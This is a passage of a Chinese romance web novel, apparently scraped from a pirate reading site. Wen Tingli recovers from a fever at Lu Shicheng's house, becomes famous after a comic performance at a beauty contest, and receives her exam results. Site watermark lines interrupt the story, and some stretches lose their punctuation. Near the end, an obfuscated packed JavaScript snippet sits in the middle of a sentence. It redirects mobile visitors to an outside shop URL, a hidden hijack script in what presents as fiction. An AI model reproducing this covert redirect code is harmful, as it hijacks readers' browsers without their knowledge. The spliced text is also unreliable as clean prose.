这会儿陆世澄知道她醒了,必定马上来询问邱凌云究竟说过哪些话,问完话他照样可以去邹校长家吃午饭,可明天就是逸菲林的初赛,若是朱紫荷能在今天之内跟陆世澄碰上面,绝对会有所作为的。 她二话不说掀开被褥下床,却突然一阵天旋地转。 “快别动。护士急忙放下-体温计扶住她,“烧未退,先前又发过低血糖,现在绝对不宜下地。 闻亭丽恹恹地捂住自己的额头:“我有一件非常紧急的事要同陆先生说,还有,早上雨这样大,我出来这么久没回去,家里人会担心的,我得打个电话向她们报平安。 “起码先吃点东西垫垫肚子,这样我们才能给您用第二轮退烧药。 闻亭丽看看屋外,小声问:“陆先生在外头? “本来在,刚才离开了。护士笑道,“您放心,陆先生从头到尾没进过屋,话说起来,陆先生待人真是周到,他令厨房备了好些吃的,预备您醒来后随时取用。 闻亭丽满脸惭愧:“陆先生待人一贯如此厚道……真过意不去,好好的又麻烦人家一回。 “病来如山倒,谁也扛不住。路易斯大夫说这叫积劳成疾,这次也算给闻小姐敲了一记警钟,往后再忙也该适当关心一下自己的身体。 那碗八宝粥熬得又香又浓,闻亭丽恨不能一口气全吃光,但她硬是装作没胃口的样子。 “我……我吃不下了。 “可您才喝两口。 闻亭丽歉然摇头:“胃有点不舒服。 护士若有所思把粥放到一边:“看来消化道也有症状,我问问路易斯大夫怎么办。 闻亭丽虚弱地说:“我想请您帮我给慈心医院内科病房的刘护士长打个电话,麻烦她转告我的家人:我在朋友家玩一会,稍后就回去。 她知道厉成英的人这会儿一定急得不行,她得给她们报个平安。 不一会,护士打完电话回来了,却没有立即进屋,只在外头说:“您有话要问闻小姐?她醒着呢,好,我进屋问问她。 闻亭丽一慌,陆世澄来了! 他多半是顺着邱凌 云那条线查到了什么不然不会这么急着问话原本没想好怎么做这下拿定了主意。 有人朝屋里走来闻亭丽急忙闭上眼睛装睡装哭向来是她的拿手好戏她可以做到被人近距离端详而不露馅但她仍怕陆世澄看出端倪于是故意把头偏向里侧装睡。 “闻小姐您不是有要紧事要跟陆先生说——咦?” 闻亭丽心跳微微加快万幸的是陆世澄并没有贸然进屋护士匆匆进屋查看一番她的情况蹑手蹑脚走出去:“没关系只是睡着了。她胃口不好那碗粥只喝了两口……嗯我已经打电话把这一情况向路易斯大夫汇报过了。” 闻亭丽忐忑地注意着外屋的动静勾子是放下了但她不确定这勾子够不够分量阻拦陆世澄。 仅仅过了十来分钟她就感觉自己的身体僵成了一块石头装睡本就比真睡难受许多何况她的心还悬在那里忽听有人上楼就听早上那位管事在外面说:“依照您的吩咐给邹校长打过电话了我说您这边临时有急事去不了另外 闻亭丽又惊又喜陆世澄一旦怀疑白龙帮的事跟陆三爷有关立刻就采取了行动。 紧接着路易斯大夫也上楼了:“我听梅丽莎说过了不不不没胃口也不一定是伤寒的初兆我先进屋看看病人的情况再说假如真是伤寒禁食反而对她有好处。” 闻亭丽闭眼装睡直到这一刻她才确定自己这一早上没白忙绷紧的神经慢慢松开了装着装着一不小心真睡着了。 这一觉比先前睡得还死她梦见了自己的母亲。 梦里依稀是某个夏日傍晚她和母亲分别坐在一把杌子上她还很小两只小手捧着一大牙西瓜在吃母亲温柔地用蒲扇替她扇风。母亲仍是生前的模样身上穿件素淡的旗袍脑后盘着一个圆圆的髻暗淡的光线从衖堂上方照下来将母亲脸上的伤疤照得若隐若现。 闻亭丽鼻根一酸一头栽进妈妈的怀里。 “姆妈我想您。” 母亲紧紧地回抱她。 闻亭丽哭道:“您不知道这几月家里发生了多少事我好累姆妈您别走我和小桃子都离不开您。” 她越说越委屈眼泪一串 串滚落下来然而母亲却突然松开了她她追上去母亲的身影却越来越淡越来越远她哭喊着追赶脚下猛地一空。 *** 陆世澄在楼下客厅听电话那边周威在向他作汇报。 “闻小姐除了在这附近送报纸还在埃克瑟伦洋行做接线员一份工是早上一份工在下午两份工作都是高家大小姐帮忙介绍的洋行那边已经调查过闻小姐每次上工都很积极我找来她的录音听了不像是临时表演也听不出敷衍的迹象她应该是真的缺钱。” 放下电话之后陆世澄静立在那儿好一阵没动这时楼上传来一声尖利的哭喊。 他面色一滞二楼现在只有一个闻亭丽哭声那样凄惨像是遇到了什么惊骇的事。 刚走到楼梯间老刘也闻声而出:“闻小姐这是身体不舒服?” 不像是魇住了她烧了一整天这会儿差不多也该醒了。 陆世澄站在楼梯口侧头听了一会又回到茶几前继续翻阅文件。 但闻亭丽并未停止哭泣哭声断断续续传到楼下无端扰人心绪。那不是抽泣也不是说梦话而是一种撕心裂肺的恸哭仿佛平日里积攒了太多的苦楚在梦中才得以发泄。 只听老刘说:“病中之人最容易梦魇了可惜梅丽莎跟着路易斯大夫回诊所抢救病人去了。要不要我上去把闻小姐唤醒?魇久了会伤神伤身。” 陆世澄默许。 老刘刚要上楼陆世澄却放下文件起了身闻亭丽跟老刘不熟噩梦里贸然被陌生人唤醒只会受到更大的惊吓。 他上到二楼径直穿过那间套房卧室门半掩着她的梦呓断断续续从房中传出。 距离一近他终于听清楚她喊的是“姆妈”哭声痛苦而压抑。 这光景莫名熟悉叫他怔在门口有些深埋在脑海中的记忆骤然被这一声声的“姆妈”撬动。 他知道在梦里目睹挚亲离去时的痛苦丝毫不亚于清醒时的感受她本来就病着这样会加重病情。 他于是抬手重重敲门闻亭丽却哭得越来越急了。 忽听床架吱呀作响她似在梦中激烈地挣扎起来往里一瞥隐约看到她滚到了床边那是高架床——他赶忙进屋 小说更新,记住域名caixs?(请来才 小说 看最新章节 完整章节)刚好来 得及把她的身体拦在床畔。 她魇得厉害,身躯仍一个劲向下坠,他只好用膝盖和右手固着她的左半身,左手圈住她的另一半身体,等她不再动了,便搡动她的肩膀试图把她唤醒,不料,闻亭丽反手抓住了他的胳膊。 她霍然睁开了眼睛。 两人目光相撞。 陆世澄想要抽身却没能成功,只得耐着性子等她自己彻底清醒,光线虽然有点暗,待久了也就适应了,他看见了她脸上的泪痕,也注意到她的目光有些涣散。 她眼神中残留着遗憾、伤心、不舍和痛苦…… 他静静看着她,眼前这个闻亭丽与平日的闻亭丽判若两人,平时的她,仿佛永远有说不完的话、用不光的精力、挥洒不完的热情,但面前这个闻亭丽,却是那样脆弱而可怜。 *** 闻亭丽梦见自己一脚踩空,整个人向悬崖下坠去,正急得不知如何是好,有人在底下托了她一把。 她惊魂不定,喘着粗气,就那样茫然地望着上方,等到涣散的意志重新聚拢,才认出被自己抓着的那个人是陆世澄, 她的思维瞬间凝固住了,半黑暗中,陆世澄看她的眼神有点奇怪,仿佛在失神。 眼前忽一亮,陆世澄抬手揿亮了床边的台灯,借着光线认认真真打量她一晌,很轻地把她推回床上。 再然后,他并未在房内停留,而是迅速退了出去。 就听管事在外头小声说:“叫醒了就好,这又哭又喊的最损耗神志了……好好,我马上把吃的端上来。 闻亭丽木呆呆听着,方才那一幕究竟是怎么回事?陆世澄怎会出现在她的床边…… 她做噩梦了?梦中的光景历历在目,梦中那些话也句句在心。 她哭了多久?闹了多久?听管事那意思,陆世澄大约是听到不对劲才过来察看。 想到刚才自己抓着陆世澄不放的光景,她再也躺不下去了,强撑着推开被子,一下地,惊觉身上衣裳里里外外都是湿的,这样湿……她扶着床架呆呆想,许是吃过退烧药的缘故,她究竟昏睡了多久,窗外天色已暗,起码也是黄昏了。 一转头,才发现床尾叠着一套干净衣裳,那正是她早上换下来的那套,这会儿已经被人洗过和熨过了。 她朝外屋 投去感激的一瞥,抱起衣裳挪进旁边的盥洗室,盥洗室里有一面鹅蛋形的西洋镜,一照之下,她被自己的模样吓了一大跳,面色惨白如纸,乌黑的湿发一缕缕黏在额上,满脸都是泪痕,眼睛更是红肿得像桃子。 陆世澄方才看她的眼神那样古怪,大约也是因为被她这副鬼样子吓到了。按她平日的性子,非得好好梳洗一番才肯出去见人,可她现在实在没力气再盥洗。 “咚-咚-咚。仆人突然在外面轻轻敲了几下门,“闻小姐,您没事吧,您高烧刚退,眼下不宜马上洗头洗澡,以免再次晕倒。 闻亭丽忙应道:“好。心里却疑惑管事怎么知道她正琢磨着盥洗,掬一把水将脸洗净,又拿肥皂洗了下额发,对着镜子左看右看,自觉清爽许多,这才换衣裳出屋。 饿了一整天,走在地上,她感到双脚犹如踩在棉花上,好不容易挪到外屋,却没看见陆世澄。 老管事一个人在桌上摆饭食。 “闻小姐刚才做噩梦了吧?先喝碗宁神汤。管事含笑端过一碗热气腾腾的汤,看闻亭丽怔怔的,只当她疑惑这汤的由来,便笑道,“邝先生有位小辈幼时经常发梦魇,魇起来就跟闻小姐方才的情形一模一样,为这个,家里常备着几味安神的药材,本来这东西已经好些年不太用得着了,没想到今天倒派上用场了。 说更新,记住域名caixs⑺(请来才小 说 看最新章节 完整章节) 闻亭丽暗想,邝先生的这位所谓“子侄多半就是陆世澄,不然家里不会大费周章常年预备着。 陆世澄幼时经常梦魇么?也是因为思念姆妈的缘故?他不像常人能哭能喊,一旦发梦魇只能自己熬着,这样反而更伤身。 正自胡思乱想,忽瞟见管事在一旁好奇地打量自己,闻亭丽早疑心管事瞧见了房里的那一幕,不免有些不自在,厚着脸皮坐到桌边,气若游丝地说:“谢谢。 这回不是装的,她是真没力气,桌上摆了不少吃食,样样都是细软好消化之物,八宝粥换成了更清淡的莲子粥,粥里另外加了糖,吃起来比中午那一碗还要香甜。 她本就爱吃甜食,这下更合胃口了,几样东西一下肚,力气恢复了八成,精神头一好,心思便重新活络起来,笑吟吟抬头望向管事,琢磨着说点什么,这时,一个人突然从外头走了进来,对管事点点头示意他退下。 “陆 小先生。”闻亭丽有些无措地直起身。 陆世澄看着管事把东西撤下去,这才转眸望向她。 【好点了么?】 “我好多了。”闻亭丽忙点头,“还没来得及谢谢陆先生,因为这场病叨扰了您一 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陆世澄垂眸掩去了眼中的笑意,对她摇摇头,没有打电话,而是坐到一旁的沙发上,闻亭丽松了口气,旋即又有些讪讪的,她也真是的,居然误以为陆世澄要占她便宜,赶忙转移话题,指了指铁盒:“这又是什么?” 陆世澄指指纸条示意她自己往下看。 【如果你醒来后还在发烧,也需尽快帮你通知路易斯。体温,你自己量。】 闻亭丽捧着铁盒回卧室,其实不必测她也知道自己退烧了,因为脑袋不再疼痛欲裂。 往衣服里塞体温计的时候,她悄悄望一眼门外,陆世澄大概是有话要问她,并没有马上离开。 屋里屋外都相当安静,这种不远不近的距离却莫名有安全感。 陆世澄常常给人这种感觉,他不说话,待人也不特别热络,可他身上总有一种魔力,可以让每一个跟他相处的人都轻松自在。这一点,就连 不谙世事的小桃子也察觉到了。 可是,陆世澄性格再谦和,也架不住被她一再打搅,她在他这儿一赖就是一整天,他心里说不定早就烦得要死,她要是够识相的话,待会测好体温,就应该麻溜地滚蛋。 当然,她今天的目的算是达成了,可惜白日里一直在昏睡,也没机会探知陆世澄是不是已经开始排兵布阵,更不清楚朱紫荷有没有采取进一步的举动…… 思索一番,她取出体温计出去对陆世澄说:“我不发烧了,谢谢陆先生,我也该走了。” 陆世澄望一眼她手里的铁盒,闻亭丽笑着解释说:“我整天待在慈心医院,体温计我早就会看了。” 他又望望她的脸,这次看得比较久。 闻亭丽拘谨地咳嗽一声,出来前她特地照过镜子,她的脸色比刚醒来那一阵好多了。 终于,他指指她身旁的沙发。 【先坐。】 坐下后,闻亭丽自然而然转移话题:“正好我有一件很重要的事要同陆先生说,今早为了赶走邱凌云,我——” 她赧然一笑:“故意搬出陆先生和邝先生的名头吓唬他,他却说陆先生‘威风不了多久了’,我说他吹牛,他就说要我‘走着瞧’。我再问,他死活不肯把话说明白,这对父子的德行我再清楚不过了,邱大鹏阴狠狡诈,邱凌云却是个藏不住话的戇度,今天他突然知道收敛性子,没准白龙帮真在盘算什么大阴谋。” 说完这话,她小心翼翼地望着陆世澄:“陆先生最近是不是得罪过白龙帮?我听说那位曹帮主最会背地里害人,您可千万要当心。” 陆世澄只在那里想事,闻亭丽等了一等,清清嗓子说:“我要说的就是这件事了。” 【多谢你,我会留神的。】 “不客气,前后麻烦过陆先生好几次,我早已将陆先生视作朋友了,往后有什么需要我帮忙的地方,陆先生只需招呼一声即可。”闻亭丽拍拍自己的胸脯。 陆世澄却没有给闻亭丽继续套近乎的机会,只是看看墙角的西洋钟。 说全网首发无弹窗免费阅读caixs?(请来才小 说 看最新章节 完整章节) 闻亭丽误以为他要下逐客令,正色欠了欠身:“今天多谢陆先生关照,不然我恐怕没办法参加明天欣欣百货的比赛了,我听高筱文说,这次逸菲林因为请来了朱紫荷小姐,一下子引来了许多广告商, 董小姐为了不被逸菲林盖过风头,特地找了许多记者报道明天的初赛,我要是表现得很糟糕,就要在全上海的报纸上丢脸了。 说到最后,她粲然一笑:“对了,早上听见陆先生要去邹校长家赴约,那么您今天一定见着朱紫荷小姐了,也不知朱小姐为明天的比赛准备了什么节目,陆先生方不方便向我透露一二。两边选手同类型的节目一定会被放在一起对比的,假如提前知道朱小姐会准备什么类别的表演,我也就不献丑了。 陆世澄没接茬,只垂眸喝了口茶。 闻亭丽眨眨眼,氛围似乎一下子变得有点奇怪。 她赶忙在脑海里回想一番刚才的话。 应该没说错话,因为即便陆世澄察觉她别有意图也所谓。她和朱紫荷分别是两家的热门选手,倘若欣欣这边的比赛没人看,后续的奖金和机会也会骤减的,她由此在他面前表现出对朱紫荷的在意再合理不过。 糟糕!陆世澄该不会误会她拐弯抹角想探知他跟朱紫荷的关系吧。她懊恼地咬了咬唇。回想今天发生的一切,的确很难不引起一些误会。 他会不会以为她是因为吃醋才再三在他面前打探那位朱紫荷小姐。 正自乱想,陆世澄放下茶杯,取出衣兜里的笔写道: 【我今天没有见过这位朱紫荷小姐。】 闻亭丽红着脸望着面前这行字。 他在照顾她的面子,他在主动给她台阶下。 一时间,她心里说不出是高兴还是轻松,只知道自己现在非常窘,窘到必须马上结束这个话题,于是大方地笑了两声说:“我听说欣欣百货准备了不少精彩的暖场节目,假如陆先生明晚有空,不妨到欣欣百货观看比赛。 陆世澄没应声,闻亭丽再次咬唇。 好在这时候管事找上来了。 “澄少爷,那边找你。 闻亭丽无心再缠磨,趁机告辞下楼。 管事却不放过她,抱着一堆东西追上来。 “闻小姐,路易斯大夫给你开了几瓶药,这有说明,你按照纸上的指示服用即可,其中一味药是每隔八个钟头服用,不能早,也不能晚,闻小姐上一顿是中午十一点半服用的,现在正好可以服用第二顿了。 小说更新,记住域名caixs.com▔(请来才 小说 看最新章节 完整章节) 闻亭丽一看钟点,果然七点半了 第 33 章 不由自主。 第33章不由自主。 为了迎接这场比赛,欣欣百货不但新添了许多新颖的装饰和设施,还推出了一系列“沪上之花”酬宾活动,傍晚,霓虹灯一亮,整幢大楼犹如一座瑰艳清丽的水晶宫,可等到比赛正式拉开帷幕,现场却并没有预想中热闹,观众寥寥无几,大半记者都跑去了逸菲林。 轮到闻亭丽出场时,她悄悄向贵宾席扫了一眼。 燕珍珍和赵青萝带着一帮务实的同学在台下挥舞旗帜。 另一边,黄远山威风凛凛地指挥自家摄影师为台上的她照相。 高筱文头戴宽檐纱织帽,口涂大红色丹琪口红,宛如女王般端坐在第一排最显眼的位置。 她这边一上台,高筱文便旁若无人对台上抛去一个飞吻。 此外,还有今晚的大股东董沁芳小姐、上海妇女协会会长、文化界名流、富商大贾、明星、花花公子…… 唯独没看见陆世澄。 她的邀请再一次被拒绝了,倒是在预料之中。 闻亭丽一贯有个优点,就是从不犯怯和自寻烦恼,而且,一旦站到聚光灯下,即会全心全意投入表演,这次观众虽少,却不妨碍她卖力演出。 她准备的节目是自己精心设计的一出滑稽戏,表演时,现场的观众时不时发出爆笑声,结束时掌声更是热烈得不得了,闻亭丽欣然谢幕,无意间一瞟,发现底下多了几个观众,其中一位年轻男子生得潇洒出众,正是孟麒光,别人都在鼓掌,唯独他好整以暇看着台上。 闻亭丽心知孟麒光是高庭新的好朋友,此番前来多半存了点探察敌情的心理,看样子他很满意,毕竟光从今晚前来观赛的人数来看,欣欣百货不只输了,还输得相当难看。 翌日,闻亭丽领到报纸一看,不出所料,大半报纸都在报道逸菲林的赛况,许多版面都能看到朱紫荷在台上弹钢琴的优雅身影,底下配有“知名画家成功晋级逸菲林选美决赛”等描述。至于欣欣百货这边的赛况,即使有少数几家提到了,大多也只是一笔带过。 闻亭丽心里直犯愁,看这架势,初赛不但没能为欣欣拉来更多的观众和广告商,就连现有的广告商也很可能被逸菲林抢走。中午回来,燕珍珍打电话安慰她:“这也没 办法逸菲林本就是一家新开的百货公司人家又提前下了那么多功夫大家图新鲜跑过去凑热闹也是有的。你昨晚表演的滑稽戏精彩极了他们不来看是他们自己的损失。” 这种状况持续了一整天到晚间情况出现了意想不到的转折。 原因是某家报纸当天一销而空。该家报社的社长跟董沁芳是老熟人当沪上大部分报纸都争先恐后介绍逸菲林的盛况时唯独这一家专门花费大幅版面报道欣欣百货的比赛。 报上说:历来选美比赛中选手们大多以展示自身才艺为主表演上也偏于矜持和传统不料这位名叫闻亭丽的选手——也就是“首届青年话剧大赛”的冠军却别出心裁为大家带来了一出滑稽戏。 她一个人在台上分饰两角时而扮作一心攀高枝的钱庄伙计时而扮作骄纵可爱的钱庄大小姐——扮作伙计时举止猥琐、言语轻浮;扮作大小姐时却是艳若桃李、妙语连珠。尤其“两个人”在对账时隔着柜台的一场吵嘴更是让观众爆笑不断。 文章旁边附上了一系列闻亭丽表演滑稽戏的照片。这家报纸销量本就不错有人看了这位女选手的扮相忍不住将其当作新鲜事四处传。 人们对于近年来层出不穷的选美比赛并不陌生却是头一次听说有选美小姐不顾形象在台上演出滑稽戏好奇之下买来报纸一睹光看照片就忍俊不禁。 于是一传十十传百报纸很快就告售空。 董沁芳听闻这消息 说全网首发无弹窗免费阅读caixs?(请来才小 说 看最新章节 完整章节)连夜将闻亭丽比赛时的照片寄给其他几家报社出人意料的是第二日几家报纸的销量都比头一天报道逸菲林比赛时要好。 第三日陆续有观众打电话到欣欣询问决赛是否还有这样的滑稽戏表演。 第四天开始有几家滑稽戏社团、话剧社打听闻亭丽的表演经历并在电话里征询决赛当晚团票的价格。 同一天黄金影业的黄远山导演以闻亭丽亲友的身份跳出来接受采访她一再强调这位闻小姐就是上次“沪上青年话剧比赛”的冠军还表示黄金影业正在筹备一部由闻小姐主演的戏欢迎大家持续关注。 有了知名导演的“推波助澜”热度又进一步扩散到了文艺界和电影界。过两日闻亭丽走在街上居然有个小孩子神气活现对着她单手拨算 盘,那是她那晚在台上扮作坏伙计时的亮相动作,今早有好几家小报采用她这张照片做娱乐刊的封面。 这也就罢了,下午她从埃克瑟伦洋行做完活计出来,又被几个小报记者堵在大门口。 事后,闻亭丽打电话质问高筱文,高筱文大方承认:“没错,是我告诉他们你在这家洋行做零工的,我这是在帮你和董沁芳搞宣传呀,再新鲜的事物大家过两天就忘了,不趁这个机会多曝曝光,回头怎么帮欣欣拉来更多观众。” 董沁芳趁热打铁,开始在报上公开发售决赛的门票,消息发出后仅一个小时,门票就被抢购而空。董沁芳还告诉闻亭丽,目前有一家雪花膏公司有意向请闻亭丽做他们的月历牌小姐,给的报酬很合理。 一连几天闻亭丽都开心得不得了。其实那家雪花膏公司报的价格并不高,毕竟沪上从来不乏新人新事,大伙对她最多也就新鲜一时,但有钱赚总归是值得高兴的,她知道,倘若她决赛发挥更出色,会有更多的商家对她产生兴趣。 说来奇怪,运气坏的时候,坏消息一个接着一个,运气好的时候,好事也一桩接着一桩。 这天中午,赵青萝给闻亭丽打来电话。 “快来学校。” “什么?” “联考分数出来了!” 闻亭丽一阵风似跑出去。 等她赶到学校,早有许多同学到场了,时值夏末,校园里满是浓绿和花香,她在一阵阵热闹的蝉鸣声中踏进校园,迎面看见许多熟悉的面孔,每位同学的表情都不一样,有人愁眉紧锁,有人兴高采烈,更有人,不悲不喜,脸上只有一份解脱后的超然。 “闻亭丽!我们在这里!”劝学楼前挤满了人,燕珍珍在人堆里跳起来跟闻亭丽打招呼,“快上去,成绩单得本人签字领取。” “你们考得怎么样?”闻亭丽紧张地问,赵青萝和燕珍珍卖关子不肯说,脸上却是掩不住的开心。 闻亭丽咚咚咚奔上楼。 “你是求真班的闻亭丽吧?”教导主任异常好奇地打量着闻亭丽。 闻亭丽只是楞楞地点头,她有点不敢接自己的成绩单。 “来,在这签字就行了。” 她把成绩单紧贴在自己的胸口,慢吞吞下楼,赵青萝等人围上来。 “怎么样? “一直没敢看。闻亭丽紧张地闭上眼睛。 突然,赵青萝发出一声尖叫。闻亭丽慌忙睁开眼,不提防被燕珍珍抱住脑袋一顿猛揉。 “要死了闻亭丽,这么好的分数你还不满意吗!又有人尖叫一声,这次是闻亭丽自己。 成绩单上赫然写着:国文86分,英文92分,算术79分。 尽管总分不算特别高,但比她以前考过的任何一次都要好。她高兴得像只兔子,一下子窜出去老远,又飞跑回来搂住燕珍珍和赵青萝大叫。“啊啊啊啊。 “我就知道她要疯,这成绩除了沪江和圣约翰的医科上不了,剩下的学科应该问题都不算大。 “什么?闻亭丽蓦然收住情绪,“不够上医科吗? “喂,你够了啊,全校只有五位学生考上沪江的医科,一位是陈晓虹,她次次考试都是全年级第一,另外四位你也认识,每次考试也都名列前茅。圣约翰的医学预科倒是有七位同学考上了,但是读完预科还要学五年,光是几年的学费加起来就贵死人,你不是早说你不打算考虑吗。 “读不起是一回事。 “可恶。赵青萝攥紧拳头,“怪不得燕珍珍老是想揍你,这下我也想揍你了,别跑,你给我老老实实站在那儿挨揍。 闻亭丽早一溜烟跑远了,跑到一株桂花树下,她狂喜地捧着成绩单看了好几回,把成绩单贴在心口:“考上了,我考上了!姆妈,你看见了吗? 这一幕恰巧落在花坛边的两个人眼中。 “那不是闻亭丽小姐吗?朱紫荷讶笑。 邹校长高兴颔首:“今天是成绩发布日,看样子这孩子考得不错,我过去问问她。 朱紫荷却挽住邹校长的胳膊:“您别忘了还有正事呢。 “噢对,先去办公室找世澄。 那边跑来几名学生嘻嘻哈哈把闻亭丽拖走了,邹校长和朱紫荷则继续沿着原路走进小白楼。 两人一进办公室,就看见陆世澄立在茶几前看报纸。 “你到了多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409281|135222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久了?邹校长慈爱地问。 陆世澄笑了笑,他刚到。 “陆小先生。朱紫荷在 一旁打招呼。 陆世澄对她点点头。 “我约了今天去牙医诊所紫荷怕我一个人无聊非要陪我出门我到学校见你她只好也跟着来了。” 邹校长拿起桌上的茶壶预备煮茶。朱紫荷从邹校长手里接过茶壶:“我来吧。” 邹哲平摇头笑道:“这几天这孩子事事不让我动手我真担心她走了之后会不习惯。” “那我就陪到您对我不耐烦了再走。”朱紫荷半撒娇地说。 陆世澄接过朱紫荷泡好的茶对她颔首致谢。 “不客气。”朱紫荷莞尔。 邹哲平愉悦地望着他们两个。 “上礼拜天究竟怎么回事?”她问陆世澄“你是从来不迟到不爽约的那天竟让我们白白等了大半天 陆世澄瞥了眼茶几上的报纸是出了一点“意外”这个“意外”这会儿正在报纸上对他扮鬼脸。 他作出不大好回答的样子很自然地避开了这个话题。 邹校长不疑有他朱紫荷却顺着陆世澄那一眼望向茶几上的报纸她微微一笑拿起报纸说:“刚才在路上看到这位闻小姐了。” 邹校长一看报纸就笑了。 “是啊这孩子算是出名了这几天报上全是她。在选美比赛上表演滑稽戏亏她想得出来难怪黄金影业的黄经理老说她是天才——对了世澄你也认得闻亭丽吧?那晚吃饭她也在。你看看这照片你看看她的表情哎哟实在是好笑死了。” 邹校长生来是个乐天派说着说着自己忍不住朗声笑了起来。陆世澄只好把那张他已经看过两遍的报纸又接过来看了几眼。 “别这么敷衍。”邹校长嗔道“我知道你一向对这类新闻不感兴趣那么我们谈正经事我打算在杨浦区开办一间女子成人夜校专门帮助广大工厂女工——” 这时教导处的朱主任抱着成绩簿进来了:“校长这届毕业生的成绩单。” 邹校长兴致勃勃地说:“放在桌上吧我正好奇闻亭丽考得怎么样。” 谁知朱主任前脚刚走米歇尔后脚进来:“邹校长陈处长有急事请您过去一趟。” 邹校长便对二人说:“我去一趟倘若有电话打来不必帮 我接,我很快就回来。” 邹校长一走,校长办公室就只剩朱紫荷和陆世澄。 朱紫荷含蓄而优雅,陆世澄疏离而沉默,两人各喝各的茶,忽然间,朱紫荷含笑打破了沉默:“冒昧说一句,陆小先生跟令堂年轻时长得真像。” 陆世澄抬头望了望朱紫荷。 “我母亲珍藏了不少念书时的照片,这次她因为生病没能跟我一同来上海,怕邹阿姨失望,我就把那几本相册带来了,结果邹阿姨挑出了不少陆太太念书时的照片,她说她们三人念书时是最好的朋友,还说陆小先生看了这些照片一定会高兴,可惜那天你没来,之后我又忙着备赛的事不知,不知陆先生这几天有没有空?要不我把相册给你。” 突然间,窗台前的电话“叮铃铃”响了起来,陆世澄仿佛忘了邹校长的叮嘱,走过去拿起话筒,又似刚想起自己不能说话,只好回首请朱紫荷过来帮忙接电话。 朱紫荷有些惊讶,陆世澄实在不像会犯这种糊涂的人。 她有点疑心他在借此截住她的话头,毕竟一忙着接电话,她就没办法拉着他闲聊了,可她聊的明明是他感兴趣的话题。 莫非他不喜欢太主动热情的开场方式? 不对,他分明有意把她支到窗台前去! 她心里疑惑归疑惑,却因为他打断她话头的方式是那样礼貌而自然,只能笑吟吟近前接过话筒。 “你好,请问找谁?” 回头看去,却见陆世澄不紧不慢绕到了远离窗台的一侧,一手插着裤兜,另一手状似不经意地翻起了办公桌上的簿子。 定睛一看,他翻的是务实中学这一届学生的成绩簿。 他仿佛只是随便看看,却一连翻了好几页都未停。 直到翻到某一页时,他的手指才蓦地顿住了。 凝视片刻,他调开视线看看桌上的墨盒,又若无其事抬头看了看墙上的钟,这才顺理成章坐回沙发。 而在这之前,就在成绩簿被重新合拢的一瞬间,朱紫荷飞快瞟了一眼,他看过的那页成绩单上的名字看不大清楚,但那张学生半身照里的人赫然是——闻亭丽。 作者有话要说 第 34 章 (捉虫)靠近。 第34章(捉虫)靠近。 劝学楼前,一帮人正热火朝天商量晚间庆祝的事,闻亭丽惦记着把自己考上的好消息告诉父亲和小桃子,只说:“今晚我不能跟你们出去玩,我得先回医院。” “现在都快四点钟了,起码跟大伙一起吃完晚饭再散吧,还有,你可想好去念教育系还是经济系?” “这事明天我们去赵青萝家慢慢商量吧。” 碰巧艺术部的郑主任路过,看见一帮学生无所事事聚在一起,在那叉着腰说:“我正缺人干活呢,过来,帮忙把这堆东西搬到礼堂去。” 女孩们笑着一拥而上,按照学校历年来的传统,学生们成绩一出来,紧接着会举办隆重的毕业典礼,而艺术部正负责筹办此事。 到了礼堂,众人一边干活一边打闹,清脆的笑声不时传到礼堂外。 不一会高筱文也来了,她平日出行总是派头十足,只在学校有所收敛,今天大约是领到了毕业成绩单,行事也就无所顾忌了,自己像只招摇的孔雀走在前头,身后还带着个帮她抱点心盒的司机。 她一来就把点心和汽水分给大家吃,自己一屁股歪坐在杂物箱上,望见人堆里的闻亭丽,忙从箱子上跳下来把她拉到一边:“我有事要找你。” 说着坏笑道:“今早我大哥气得要死——为什么?还不是因为选美比赛的事。” 原来高庭新为了给逸菲林开业造势,提前下了许多功夫,专门请多家报社老板吃饭不说,还分别给几位有影响力的大记者派了红包,结果仅仅热闹了一天,就被一个横空出世的闻亭丽抢去了风头,今早高庭新去自家钱庄议事,赶上自家几个经理在那扎堆看报纸,几人看得兴起,还说要带老婆和孩子去欣欣凑热闹。 “我哥气得冲那几个经理大发脾气,上午又把孟麒光请到家里商量对策,结果你猜孟麒光怎么说?他说他看过那晚你的演出,当时他就预料到风头会被你抢走,因为你确实演得好。” 闻亭丽本以为孟麒光那晚只是临时过来一趟,没想到此人竟认真看完了她的表演。 “我大哥说这样下去市民们多半只记得欣欣百货最近很热闹,谁还记得霞飞路新开了一家更高档的逸菲林百货?开局一旦不利,接下 来的营业也会遇到一系列的问题他一个劲催孟麒光想对策孟麒光却说他毫无办法可想我大哥就骂他胳膊肘子朝外拐还说他藏了私心。” 说到此高筱文乜斜一眼闻亭丽“孟麒光被我大哥缠得没法便说有个现成的破局人就是我大哥当初最看好的朱紫荷小姐但至于会不会用还得看我大哥自己。还说欣欣靠自家的选手闻亭丽挽回危局逸菲林要拉回关注度也只有依靠自家的选手我大哥听了孟麒光这话才想起给朱紫荷打电话。” 闻亭丽警惕地问:“所以你大哥都跟朱小姐说了什么?” “不知道。”高筱文耸耸肩“他早把我视为奸细 正说着迎面看见一帮同学朝礼堂走过来。 “朱紫荷小姐倒是比报纸上更漂亮些你们觉不觉得她跟陆小先生那样面对面坐着很般配。” “嘘别乱说话。” “这有什么校长她老人家好像也隐约有点这个意思刚才还说朱小姐有东西要给陆小先生看指明要陆小先生今晚去家里一趟呢。” 闻亭丽竖着耳朵听完这话忍不住问:“你们看见朱紫荷小姐了?” “她在校长办公室。“ “陆小先生也在?” “对。”几人回身一指“不过他们已经走了。” 闻亭丽踮脚朝远处看高筱文意味深长怼怼闻亭丽的胳膊:“我说什么来着这不就来了。” 又笑道:“这个朱紫荷我还真没看错她我就喜欢这种脑子够好行动也够强的小姑娘。” 这时郑主任在里头招呼外头的人进去帮忙等到大伙干完活高筱文便说要请郑先生和在场的同学去对面的饭庄吃饭一班人出来时燕珍珍和赵青萝忙着找闻亭丽却找不见她的人影。 *** 闻亭丽急匆匆赶回慈心医院进门之前特地 在门口买了一篮水果。 